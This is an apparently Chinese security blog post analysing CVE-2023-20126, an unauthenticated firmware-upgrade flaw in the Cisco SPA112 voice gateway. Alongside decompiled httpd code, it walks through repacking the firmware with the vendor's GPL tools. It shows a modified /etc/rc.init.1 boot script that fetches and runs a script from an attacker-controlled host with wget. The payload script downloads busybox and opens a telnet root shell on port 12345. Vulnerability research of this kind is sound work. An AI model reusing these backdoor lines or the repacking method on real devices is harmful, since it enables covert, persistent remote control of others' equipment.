Cisco SPA112 固件解包/打包分析

Catalpa 网络安全爱好者

SPA112 是 Cisco 早期推出的一款语音网关,2023 年 5 月 3 日,Cisco 官方发布了关于此设备的漏洞 CVE-2023-20126,本文对此漏洞进行分析。

漏洞分析

可以在 Cisco 官方网站 下载到该设备的固件,当前最新版为 1.4.1 SR5 (已停止维护)。

直接使用 binwalk 解压,解压后得到一个 squashfs 文件系统。

该漏洞比较简单,出现在 web 服务中。关键文件为 /usr/sbin/httpd,我们使用 IDA 逆向分析,找到请求处理的主要部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
v114 = uri_handler[0];
if ( !uri_handler[0] )
goto LABEL_113;
v115 = uri_handler;
while ( 2 )
{
for ( kk = v114; ; kk = v117 + 1 )
{
v117 = strchr(kk, '|');
if ( !v117 )
break;
if ( match(kk, v117 - kk, v39) )
goto LABEL_98;
}
v118 = strlen(kk);
if ( !match(kk, v118, v39) )
{
v119 = v115[6];
v115 += 6;
v114 = v119;
if ( v119 )
continue;
goto LABEL_113;
}
break;
}
LABEL_98:
is_need_auth = v115[5];
if ( is_need_auth )
{
(is_need_auth)(&unk_625F4, &unk_62634, &unk_62674);
dword_623D4 = 0;
if ( strcmp(v39, "login.asp") )
{
if ( !sub_11120(v39) )
{
v156 = dword_64EA4;
if ( dword_64EA4 || sub_10340() >= 0 )
v39 = "login.asp";
else
sub_119FC(403, "Forbidden", v156, "Can't use wireless interface to access web.");
}
}
}
dword_6DD10 = 0;
v37 = strcasecmp(s, "post");
cgi_handler = v115[3];
if ( !v37 )
dword_6DD10 = 1;
if ( cgi_handler )
{
(cgi_handler)(v39, dword_625F0, v173, v51);
if ( !dword_623C8 )
{
v157 = fileno(dword_625F0);
v158 = fcntl(v157, 3);
if ( v158 != -1 )
{
v159 = fileno(dword_625F0);
if ( fcntl(v159, 4, v158 | 0x800) != -1 )
{
if ( fgetc(dword_625F0) != -1 )
fgetc(dword_625F0);
v160 = fileno(dword_625F0);
fcntl(v160, 4, v158);
}
}
}
}

这部分逻辑和一些开源 web 服务相似,通过将请求 URI 和程序中一个数组相比较,取出相同条目的函数指针调用。列表中的每个项目第 1 个成员是 uri 字符串,第 4 个成员是 handler 函数指针,第 6 个成员表示该 CGI 接口是否需要身份验证。

统计所有接口,我们发现在无需授权的接口中,包含一个叫做 upgrade.cgi 的接口,对应 handler 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
int __fastcall upgrade_handler(int a1, int a2, int a3, int a4)
{
int v6; // r5
int v7; // r1
bool v8; // zf
int v9; // r4
int result; // r0
int v11; // r4
unsigned int v12; // r1
int v13; // r0
int v14; // r4
int v15; // r3
FILE *v16; // r4
int v17; // r5
int v18; // [sp+Ch] [bp-42Ch] BYREF
char v19; // [sp+17h] [bp-421h] BYREF
char v20; // [sp+18h] [bp-420h]
char v21; // [sp+19h] [bp-41Fh]

v18 = a3;
dword_64EA8 = 22;
system("cp /www/Success_u.asp /tmp/.");
system("cp /www/Fail_r_s.asp /tmp/.");
system("cp /www/Success_u_s.asp /tmp/.");
system("cp /www/Fail_u_s.asp /tmp/.");
system("cp /sbin/write /tmp/write");
v6 = v18;
if ( v18 > 0 )
{
while ( 1 )
{
v7 = v6 + 1;
if ( (v6 + 1) >= 0x400 )
v7 = 1024;
v8 = sub_108E0(&v19, v7, a2) == 0;
result = &v19;
if ( v8 )
return result;
v9 = v18 - strlen(&v19);
v18 = v9;
v6 = v9;
if ( !strncasecmp(&v19, "Content-Disposition:", 0x14u) )
{
if ( strstr(&v19, "name=\"file\"") )
{
dword_84190 = 1;
nvram_set("submit_button", "Upgrade");
v17 = 2;
LABEL_14:
if ( !nvram_match("submit_button", "Upgrade")
|| (dword_5DED4 = 257, dword_6DD88)
|| nvram_match("remote_upgrade", &byte_4B814)
|| !nvram_match("router_mode", &byte_4B814) )
{
v11 = v18;
while ( 1 )
{
v12 = v11 + 1;
if ( v11 <= 0 )
{
LABEL_25:
v13 = sub_1E048(0, a2, &v18, v17, a4);
v14 = v18;
dword_64EA8 = v13;
goto LABEL_26;
}
if ( v12 >= 0x400 )
v12 = 1024;
v8 = sub_108E0(&v19, v12, a2) == 0;
result = &v19;
if ( v8 )
break;
v11 = v18 - strlen(&v19);
v18 = v11;
if ( v19 == 10 && !v20 || v19 == 13 && v20 == 10 && !v21 )
goto LABEL_25;
}
}
else
{
v16 = fopen("/dev/console", "w");
if ( v16 )
{
fwrite("Can't upgrade from wan side\n", 1u, 0x1Cu, v16);
fclose(v16);
}
v14 = v18;
dword_64EA8 = 99;
LABEL_26:
while ( 1 )
{
result = a2;
v15 = a2;
if ( v14 <= 0 )
break;
while ( dword_623C8 )
{
BIO_gets(result, &v19, 1, v15);
result = a2;
v15 = a2;
if ( v18 <= 0 )
return result;
}
result = sub_10548(&v19, 1, 1025, v15);
if ( result < 0 )
return result;
v14 = v18 - result;
v18 -= result;
}
}
return result;
}
if ( strstr(&v19, "name=\"restore\"") )
{
dword_623AC = 1;
nvram_set("submit_button", "Restore");
v17 = 1;
goto LABEL_14;
}
}
if ( v9 <= 0 )
{
v17 = 0;
goto LABEL_14;
}
}
}
return printf("\n Fail: upgrade file size = %d \n", v18);
}

这个接口负责对设备进行固件升级,代码会尝试获取 Content-Disposition 请求参数,判断其中的 name 为 file 还是 restore。当 name 为 file 时,代码设置 submit_button 变量为 Upgrade,在后续的 if 条件判断中,会检查 submit_button 变量,如果它等于 Upgrade,则继续判断 remote_upgrade 等参数值。这样的目的是为了防止用户从 WAN 端执行固件升级操作。

观察逻辑,当 name 等于 Restore 时,代码设置 submit_button 等于 Restore,之后回到 if 判断,此时 nvram_match 函数返回 0,第一条逻辑成立,则会跳过后续判断进入 if 语句,随后调用 sub_1E048 函数,开始升级系统。

因此,没有经过授权的用户可以尝试构造一个恶意的固件文件,利用这个接口上传到设备,当升级完成之后新的系统中就会包含攻击者控制的木马程序。

利用分析

该漏洞原理比较简单,但是想利用却要花费一些心思。因为需要知道合法的固件格式,以及如何正确解包和打包。

我们首先来分析一下设备的固件格式,查看 binwalk 解析结果:

1
2
3
4
5
6
7
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
392 0x188 uImage header, header size: 64 bytes, header CRC: 0xF534C9EA, created: 2106-02-07 06:28:15, image size: 1572736 bytes, Data Address: 0x20008000, Entry Point: 0x20008000, data CRC: 0xE6D5E563, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "SP2Xcybertan_rom_bin"
456 0x1C8 Linux kernel ARM boot executable zImage (little-endian)
13596 0x351C gzip compressed data, maximum compression, from Unix, last modified: 2019-10-14 04:38:56
1573192 0x180148 uImage header, header size: 64 bytes, header CRC: 0x96353C43, created: 2106-02-07 06:28:15, image size: 8478720 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x96855278, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: "SP2Xcybertan_rom_bin"
1573256 0x180188 Squashfs filesystem, little endian, non-standard signature, version 3.1, size: 8476193 bytes, 1028 inodes, blocksize: 131072 bytes, created: 2019-10-14 04:51:02

固件中主要包含 Linux 内核以及 squashfs 文件系统两部分,考虑到希望植入木马程序,内核部分可以略过,所以主要关注点应放在 Squashfs filesystem 上面。

使用以下命令将文件系统切割出来:

1
dd if=ori.bin of=sqfs.ori bs=1 skip=1573256

按照常规思路,接下来我们可以使用 unsquashfs 工具解压 sqfs.ori,但是直接解压会提示错误:

1
FATAL ERROR: Can't find a valid SQUASHFS superblock on ./sqfs.ori

由于 unsquashfs 等 sqfs 工具是开源的,猜测厂商可能将这部分代码做了修改。如果想要正常解压以及打包,那么就要找出修改了哪些部分,想办法还原相关逻辑。

幸运的是 Cisco 官网 上保留了该设备的 GPL 代码包,其中就包含修改过的 sqfs 工具。我们下载这套代码,将其中的 squashfs 相关工具编译出来,使用这些工具即可正常对文件进行解包(binwalk 可以正常解包,应该是 binwalk 内部进行了特殊支持)。

解包后需要找到一个位置植入木马文件,通常我们会寻找一些开机自启动的脚本,在其中添加执行木马的命令。在这个系统中,可以修改 /etc/rc.init.1 文件,系统启动后会自动执行。

修改之后的样例:

1
2
3
4
5
6
7
8
9
#!/bin/sh
#
# /etc/rc.init.1 , should create necessary directory and load the driver
# please don't access nvram here, or modfiy any other env variable code here
# - by wenij
$(/bin/sleep 60 && /bin/busybox wget -O /tmp/1.sh http://192.168.0.124:8000/1.sh && /bin/busybox chmod 777 /tmp/1.sh && /tmp/1.sh) &
if [ ! -d "/var/tmp/events" ]; then
mkdir /var/tmp/events
fi

修改完成,使用之前编译的 mksquashfs 重新打包,确保打包之后的文件不大于原始文件,然后拼接回原来的固件末尾,补齐至原始长度。

现在,如果将这个重新打包好的固件刷入设备,重启之后将会进入 “救援模式”,提示之前传入的固件无法正常启动,请重新刷写。

因此除了简单修改文件系统之外,我们还需要调整固件中的其他结构,以满足升级逻辑。继续分析 upgrade.cgi,在函数开头部分会执行一些命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
v100 = dword_623C8;
system("cp /usr/sbin/splitfmwr /tmp/splitfmwr");
if ( a1 )
{
v116[0] = "/tmp/splitfmwr";
v116[1] = "-u";
v116[2] = "/home/usb_disk/pb_usb_drive.tgz";
v116[3] = "-p";
v116[4] = "/tmp/pfmwr.img";
v116[5] = "-b";
v116[6] = "/tmp/bootldr.img";
v116[7] = "-s";
v116[8] = "/tmp/sfmwr.img";
v116[9] = "-h";
v116[12] = 0;
v116[10] = "/tmp/SPA_HS.img";
v116[11] = a1;
v10 = eval(v116, ">/dev/console", 0, 0);
v12 = v10;
if ( v10 )
{
v11 = &v107;
v12 = -9;
}
v127 = v10;
if ( v10 )
{
*(v11 + 281) = v12;
}
else
{
v118[0] = "/tmp/write";
v118[1] = "/tmp/pfmwr.img";
v118[2] = "ROMIMAGE";
v118[3] = 0;
v10 = eval(v118, ">/dev/console", v12, v12);
v127 = v10;
}
libupg_release_upglock(v10);
return v127;
}

根据名称来猜测,splitfmwr 程序切割固件,将其分为 n 个部分,而 write 程序执行实际的写入闪存操作。

那么主要的固件验证逻辑应该就位于 splitfmwr 程序中,这个程序比较复杂,它会根据固件头部尝试将固件切割,对于正常的固件,理论上会切割出 bootloader、内核、文件系统等。这些不同的部分称之为 module,多个 module 组成了一个 pack,固件头部包含 n 个 MD5 值,用于校验固件中的各个组成部分。

对于这些结构我们可以尝试逐步分析,直到写出一个可用的打包程序。不过在查看 GPL 代码时,发现其中包含两个项目:pkger 和 moduler,它们正是用于打包 SPA112 固件的工具。将这两个工具编译出来,在原始固件上能够正常解析

1
2
3
4
➜  repack ./tools/pkger -r ./ori.bin         
Firmware version: 1.4.1
Firmware modules: 1
Firmware length: 10092936

这样,可以节省我们很多精力,参考 GPL 中的打包脚本结合各个工具,可快速制作出符合升级要求的固件。

在本地构造 1.sh,并准备好 busybox 程序,开启 python web 服务

1
2
3
/bin/busybox wget -O /tmp/busybox http://192.168.0.124:8000/busybox
/bin/busybox chmod 777 /tmp/busybox
/tmp/busybox telnetd -l/bin/sh -p12345

将构造好的固件刷入设备:

升级完成出现以下画面:

等待设备重新启动,如果一切正常,在 python 服务器端可以收到下载文件的请求,之后连接设备的 12345 端口即可得到 shell:

本文我们简单分析了 Cisco SPA112 语音网关的漏洞,尝试使用厂商开源的 GPL 工具构造恶意固件,植入木马后获取代码执行权限。相关工具

  • Title: Cisco SPA112 固件解包/打包分析
  • Author: Catalpa
  • Created at : 2023-05-12 00:00:00
  • Updated at : 2024-10-17 08:55:22
  • Link: https://wzt.ac.cn/2023/05/12/spa112/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
Cisco SPA112 固件解包/打包分析